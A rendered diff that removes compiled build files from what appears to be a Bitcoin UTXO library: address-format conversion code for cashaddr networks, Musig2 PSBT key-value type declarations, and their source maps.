* @return true iff format is supported for network
|
15
|
-
*/
|
16
|
-
export declare function isSupportedAddressFormat(format: AddressFormat, network: Network): boolean;
|
17
|
-
/**
|
18
|
-
* @param outputScript
|
19
|
-
* @param format
|
20
|
-
* @param network
|
21
|
-
* @return address formatted using provided AddressFormat
|
22
|
-
*/
|
23
|
-
export declare function fromOutputScriptWithFormat(outputScript: Buffer, format: AddressFormat, network: Network): string;
|
24
|
-
/**
|
25
|
-
* @param address
|
26
|
-
* @param format
|
27
|
-
* @param network
|
28
|
-
* @return output script parsed with provided AddressFormat
|
29
|
-
*/
|
30
|
-
export declare function toOutputScriptWithFormat(address: string, format: AddressFormat, network: Network): Buffer;
|
31
|
-
/**
|
32
|
-
* Attempts to parse address with different address formats, returns first hit.
|
33
|
-
* @param address
|
34
|
-
* @param network
|
35
|
-
* @param formats - defaults to all supported address formats for network
|
36
|
-
* @return tuple with [AddressFormat, Buffer] containing format and parsed output script
|
37
|
-
*/
|
38
|
-
export declare function toOutputScriptAndFormat(address: string, network: Network, formats?: AddressFormat[]): [AddressFormat, Buffer];
|
39
|
-
/**
|
40
|
-
* Same as `toOutputScriptAndFormat`, only returning script
|
41
|
-
* @param address - {@see toOutputScriptAndFormat}
|
42
|
-
* @param network - {@see toOutputScriptAndFormat}
|
43
|
-
* @param formats - {@see toOutputScriptAndFormat}
|
44
|
-
* @return parsed output script
|
45
|
-
*/
|
46
|
-
export declare function toOutputScriptTryFormats(address: string, network: Network, formats?: AddressFormat[]): Buffer;
|
47
|
-
/**
|
48
|
-
* @param address
|
49
|
-
* @param network
|
50
|
-
* @return address in canonical format
|
51
|
-
*/
|
52
|
-
export declare function toCanonicalFormat(address: string, network: Network): string;
|
53
|
-
//# sourceMappingURL=addressFormat.d.ts.map
|
@@ -1 +0,0 @@
|
|
1
|
-
{"version":3,"file":"addressFormat.d.ts","sourceRoot":"","sources":["../../src/addressFormat.ts"],"names":[],"mappings":";AAAA;;;;;GAKG;AACH,OAAO,EAA8B,OAAO,EAAY,MAAM,YAAY,CAAC;AAK3E,eAAO,MAAM,cAAc,kCAAmC,CAAC;AAE/D,oBAAY,aAAa,GAAG,OAAO,cAAc,CAAC,MAAM,CAAC,CAAC;AAE1D;;;;GAIG;AACH,wBAAgB,wBAAwB,CAAC,MAAM,EAAE,aAAa,EAAE,OAAO,EAAE,OAAO,GAAG,OAAO,CAQzF;AAED;;;;;GAKG;AACH,wBAAgB,0BAA0B,CAAC,YAAY,EAAE,MAAM,EAAE,MAAM,EAAE,aAAa,EAAE,OAAO,EAAE,OAAO,GAAG,MAAM,CAYhH;AAED;;;;;GAKG;AACH,wBAAgB,wBAAwB,CAAC,OAAO,EAAE,MAAM,EAAE,MAAM,EAAE,aAAa,EAAE,OAAO,EAAE,OAAO,GAAG,MAAM,CAYzG;AAED;;;;;;GAMG;AACH,wBAAgB,uBAAuB,CACrC,OAAO,EAAE,MAAM,EACf,OAAO,EAAE,OAAO,EAChB,OAAO,CAAC,EAAE,aAAa,EAAE,GACxB,CAAC,aAAa,EAAE,MAAM,CAAC,CAczB;AAED;;;;;;GAMG;AACH,wBAAgB,wBAAwB,CAAC,OAAO,EAAE,MAAM,EAAE,OAAO,EAAE,OAAO,EAAE,OAAO,CAAC,EAAE,aAAa,EAAE,GAAG,MAAM,CAG7G;AAED;;;;GAIG;AACH,wBAAgB,iBAAiB,CAAC,OAAO,EAAE,MAAM,EAAE,OAAO,EAAE,OAAO,GAAG,MAAM,CAE3E"}
|
@@ -1,110 +0,0 @@
|
|
1
|
-
"use strict";
|
2
|
-
Object.defineProperty(exports, "__esModule", { value: true });
|
3
|
-
exports.toCanonicalFormat = exports.toOutputScriptTryFormats = exports.toOutputScriptAndFormat = exports.toOutputScriptWithFormat = exports.fromOutputScriptWithFormat = exports.isSupportedAddressFormat = exports.addressFormats = void 0;
|
4
|
-
/**
|
5
|
-
* Implements methods for nonstandard (non-canonical) address formats.
|
6
|
-
*
|
7
|
-
* Use `toOutputScriptTryFormats()` instead of `toOutputScript()` to parse addresses in
|
8
|
-
* non-canonical formats
|
9
|
-
*/
|
10
|
-
const networks_1 = require("./networks");
|
11
|
-
const address_1 = require("./address");
|
12
|
-
const bitgo_1 = require("./bitgo");
|
13
|
-
exports.addressFormats = ['default', 'cashaddr'];
|
14
|
-
/**
|
15
|
-
* @param format
|
16
|
-
* @param network
|
17
|
-
* @return true iff format is supported for network
|
18
|
-
*/
|
19
|
-
function isSupportedAddressFormat(format, network) {
|
20
|
-
switch (format) {
|
21
|
-
case 'default':
|
22
|
-
return true;
|
23
|
-
case 'cashaddr':
|
24
|
-
return [networks_1.networks.bitcoincash, networks_1.networks.ecash].includes(networks_1.getMainnet(network));
|
25
|
-
}
|
26
|
-
throw new Error(`unknown address format ${format}`);
|
27
|
-
}
|
28
|
-
exports.isSupportedAddressFormat = isSupportedAddressFormat;
|
29
|
-
/**
|
30
|
-
* @param outputScript
|
31
|
-
* @param format
|
32
|
-
* @param network
|
33
|
-
* @return address formatted using provided AddressFormat
|
34
|
-
*/
|
35
|
-
function fromOutputScriptWithFormat(outputScript, format, network) {
|
36
|
-
if (!isSupportedAddressFormat(format, network)) {
|
37
|
-
throw new Error(`unsupported address format ${format} for network ${networks_1.getNetworkName(network)}`);
|
38
|
-
}
|
39
|
-
switch (networks_1.getMainnet(network)) {
|
40
|
-
case networks_1.networks.bitcoincash:
|
41
|
-
case networks_1.networks.ecash:
|
42
|
-
return bitgo_1.bcashAddress.fromOutputScriptWithFormat(outputScript, format, network);
|
43
|
-
default:
|
44
|
-
return address_1.fromOutputScript(outputScript, network);
|
45
|
-
}
|
46
|
-
}
|
47
|
-
exports.fromOutputScriptWithFormat = fromOutputScriptWithFormat;
|
48
|
-
/**
|
49
|
-
* @param address
|
50
|
-
* @param format
|
51
|
-
* @param network
|
52
|
-
* @return output script parsed with provided AddressFormat
|
53
|
-
*/
|
54
|
-
function toOutputScriptWithFormat(address, format, network) {
|
55
|
-
if (!isSupportedAddressFormat(format, network)) {
|
56
|
-
throw new Error(`unsupported address format ${format} for network ${networks_1.getNetworkName(network)}`);
|
57
|
-
}
|
58
|
-
switch (networks_1.getMainnet(network)) {
|
59
|
-
case networks_1.networks.bitcoincash:
|
60
|
-
case networks_1.networks.ecash:
|
61
|
-
return bitgo_1.bcashAddress.toOutputScriptWithFormat(address, format, network);
|
62
|
-
default:
|
63
|
-
return address_1.toOutputScript(address, network);
|
64
|
-
}
|
65
|
-
}
|
66
|
-
exports.toOutputScriptWithFormat = toOutputScriptWithFormat;
|
67
|
-
/**
|
68
|
-
* Attempts to parse address with different address formats, returns first hit.
|
69
|
-
* @param address
|
70
|
-
* @param network
|
71
|
-
* @param formats - defaults to all supported address formats for network
|
72
|
-
* @return tuple with [AddressFormat, Buffer] containing format and parsed output script
|
73
|
-
*/
|
74
|
-
function toOutputScriptAndFormat(address, network, formats) {
|
75
|
-
if (!formats) {
|
76
|
-
formats = exports.addressFormats.filter((f) => isSupportedAddressFormat(f, network));
|
77
|
-
}
|
78
|
-
for (const format of formats) {
|
79
|
-
try {
|
80
|
-
return [format, toOutputScriptWithFormat(address, format, network)];
|
81
|
-
}
|
82
|
-
catch (e) {
|
83
|
-
// try next
|
84
|
-
}
|
85
|
-
}
|
86
|
-
throw new Error(`could not parse outputScript [formats=${formats}]`);
|
87
|
-
}
|
88
|
-
exports.toOutputScriptAndFormat = toOutputScriptAndFormat;
|
89
|
-
/**
|
90
|
-
* Same as `toOutputScriptAndFormat`, only returning script
|
91
|
-
* @param address - {@see toOutputScriptAndFormat}
|
92
|
-
* @param network - {@see toOutputScriptAndFormat}
|
93
|
-
* @param formats - {@see toOutputScriptAndFormat}
|
94
|
-
* @return parsed output script
|
95
|
-
*/
|
96
|
-
function toOutputScriptTryFormats(address, network, formats) {
|
97
|
-
const [, outputScript] = toOutputScriptAndFormat(address, network, formats);
|
98
|
-
return outputScript;
|
99
|
-
}
|
100
|
-
exports.toOutputScriptTryFormats = toOutputScriptTryFormats;
|
101
|
-
/**
|
102
|
-
* @param address
|
103
|
-
* @param network
|
104
|
-
* @return address in canonical format
|
105
|
-
*/
|
106
|
-
function toCanonicalFormat(address, network) {
|
107
|
-
return address_1.fromOutputScript(toOutputScriptTryFormats(address, network), network);
|
108
|
-
}
|
109
|
-
exports.toCanonicalFormat = toCanonicalFormat;
|
110
|
-
//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiYWRkcmVzc0Zvcm1hdC5qcyIsInNvdXJjZVJvb3QiOiIiLCJzb3VyY2VzIjpbIi4uLy4uL3NyYy9hZGRyZXNzRm9ybWF0LnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiI7OztBQUFBOzs7OztHQUtHO0FBQ0gseUNBQTJFO0FBQzNFLHVDQUE2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V0cHV0U2NyaXB0QW5kRm9ybWF0KGFkZHJlc3MsIG5ldHdvcmssIGZvcm1hdHMpO1xuICByZXR1cm4gb3V0cHV0U2NyaXB0O1xufVxuXG4vKipcbiAqIEBwYXJhbSBhZGRyZXNzXG4gKiBAcGFyYW0gbmV0d29ya1xuICogQHJldHVybiBhZGRyZXNzIGluIGNhbm9uaWNhbCBmb3JtYXRcbiAqL1xuZXhwb3J0IGZ1bmN0aW9uIHRvQ2Fub25pY2FsRm9ybWF0KGFkZHJlc3M6IHN0cmluZywgbmV0d29yazogTmV0d29yayk6IHN0cmluZyB7XG4gIHJldHVybiBmcm9tT3V0cHV0U2NyaXB0KHRvT3V0cHV0U2NyaXB0VHJ5Rm9ybWF0cyhhZGRyZXNzLCBuZXR3b3JrKSwgbmV0d29yayk7XG59XG4iXX0=
|
@@ -1,51 +0,0 @@
|
|
1
|
-
/// <reference types="node" />
|
2
|
-
import { ProprietaryKeyValueData, UtxoPsbt } from './UtxoPsbt';
|
3
|
-
import { BIP32Interface } from 'bip32';
|
4
|
-
import { Tuple } from './types';
|
5
|
-
/**
|
6
|
-
* Participant key value object.
|
7
|
-
*/
|
8
|
-
export interface PsbtMusig2ParticipantsKeyValueData {
|
9
|
-
tapOutputKey: Buffer;
|
10
|
-
tapInternalKey: Buffer;
|
11
|
-
participantPubKeys: Tuple<Buffer>;
|
12
|
-
}
|
13
|
-
/**
|
14
|
-
* Nonce key value object.
|
15
|
-
*/
|
16
|
-
export interface PsbtMusig2NoncesKeyValueData {
|
17
|
-
participantPubKey: Buffer;
|
18
|
-
tapOutputKey: Buffer;
|
19
|
-
pubNonces: Buffer;
|
20
|
-
}
|
21
|
-
/**
|
22
|
-
* Psbt proprietary key val util function for participants pub keys. SubType is 0x01
|
23
|
-
* Ref: https://gist.github.com/sanket1729/4b525c6049f4d9e034d27368c49f28a6
|
24
|
-
* @return x-only tapOutputKey||tapInternalKey as sub keydata, plain sigining participant keys as valuedata
|
25
|
-
*/
|
26
|
-
export declare function encodePsbtMusig2ParticipantsKeyValData(participantsKeyValData: PsbtMusig2ParticipantsKeyValueData): ProprietaryKeyValueData;
|
27
|
-
/**
|
28
|
-
* Psbt proprietary key val util function for pub nonce. SubType is 0x02
|
29
|
-
* Ref: https://gist.github.com/sanket1729/4b525c6049f4d9e034d27368c49f28a6
|
30
|
-
* @return plain-participantPubKey||x-only-tapOutputKey as sub keydata, 66 bytes of 2 pub nonces as valuedata
|
31
|
-
*/
|
32
|
-
export declare function encodePsbtMusig2PubNonceKeyValData(noncesKeyValueData: PsbtMusig2NoncesKeyValueData): ProprietaryKeyValueData;
|
33
|
-
/**
|
34
|
-
* Decodes proprietary key value data for participant pub keys
|
35
|
-
* @param kv
|
36
|
-
*/
|
37
|
-
export declare function decodePsbtMusig2ParticipantsKeyValData(kv: ProprietaryKeyValueData): PsbtMusig2ParticipantsKeyValueData;
|
38
|
-
export declare function createTapInternalKey(plainPubKeys: Buffer[]): Buffer;
|
39
|
-
export declare function createTapOutputKey(internalPubKey: Buffer, tapTreeRoot: Buffer): Buffer;
|
40
|
-
/**
|
41
|
-
* Generates and sets Musig2 nonces to p2trMusig2 key path spending inputs.
|
42
|
-
* tapInternalkey, tapMerkleRoot, tapBip32Derivation for rootWalletKey are required per p2trMusig2 key path input.
|
43
|
-
* Also participant keys are required from psbt proprietary key values.
|
44
|
-
* Ref: https://gist.github.com/sanket1729/4b525c6049f4d9e034d27368c49f28a6
|
45
|
-
* @param psbt
|
46
|
-
* @param rootWalletKey
|
47
|
-
* @param sessionId If provided it must either be a counter unique to this secret key,
|
48
|
-
* (converted to an array of 32 bytes), or 32 uniformly random bytes.
|
49
|
-
*/
|
50
|
-
export declare function setMusig2Nonces(psbt: UtxoPsbt, rootWalletKey: BIP32Interface, sessionId?: Buffer): void;
|
51
|
-
//# sourceMappingURL=Musig2.d.ts.map
|
@@ -1 +0,0 @@
|
|
1
|
-
{"version":3,"file":"Musig2.d.ts","sourceRoot":"","sources":["../../../src/bitgo/Musig2.ts"],"names":[],"mappings":";AAAA,OAAO,EAA+B,uBAAuB,EAAE,QAAQ,EAAyB,MAAM,YAAY,CAAC;AAEnH,OAAO,EAAE,cAAc,EAAE,MAAM,OAAO,CAAC;AAEvC,OAAO,EAAE,KAAK,EAAE,MAAM,SAAS,CAAC;AAKhC;;GAEG;AACH,MAAM,WAAW,kCAAkC;IACjD,YAAY,EAAE,MAAM,CAAC;IACrB,cAAc,EAAE,MAAM,CAAC;IACvB,kBAAkB,EAAE,KAAK,CAAC,MAAM,CAAC,CAAC;CACnC;AAED;;GAEG;AACH,MAAM,WAAW,4BAA4B;IAC3C,iBAAiB,EAAE,MAAM,CAAC;IAC1B,YAAY,EAAE,MAAM,CAAC;IACrB,SAAS,EAAE,MAAM,CAAC;CACnB;AAED;;;;GAIG;AACH,wBAAgB,sCAAsC,CACpD,sBAAsB,EAAE,kCAAkC,GACzD,uBAAuB,CAWzB;AAED;;;;GAIG;AACH,wBAAgB,kCAAkC,CAChD,kBAAkB,EAAE,4BAA4B,GAC/C,uBAAuB,CAczB;AAED;;;GAGG;AACH,wBAAgB,sCAAsC,CACpD,EAAE,EAAE,uBAAuB,GAC1B,kCAAkC,CAuBpC;AAED,wBAAgB,oBAAoB,CAAC,YAAY,EAAE,MAAM,EAAE,GAAG,MAAM,CAGnE;AAED,wBAAgB,kBAAkB,CAAC,cAAc,EAAE,MAAM,EAAE,WAAW,EAAE,MAAM,GAAG,MAAM,CAKtF;AA6FD;;;;;;;;;GASG;AACH,wBAAgB,eAAe,CAAC,IAAI,EAAE,QAAQ,EAAE,aAAa,EAAE,cAAc,EAAE,SAAS,CAAC,EAAE,MAAM,GAAG,IAAI,CAavG"}
|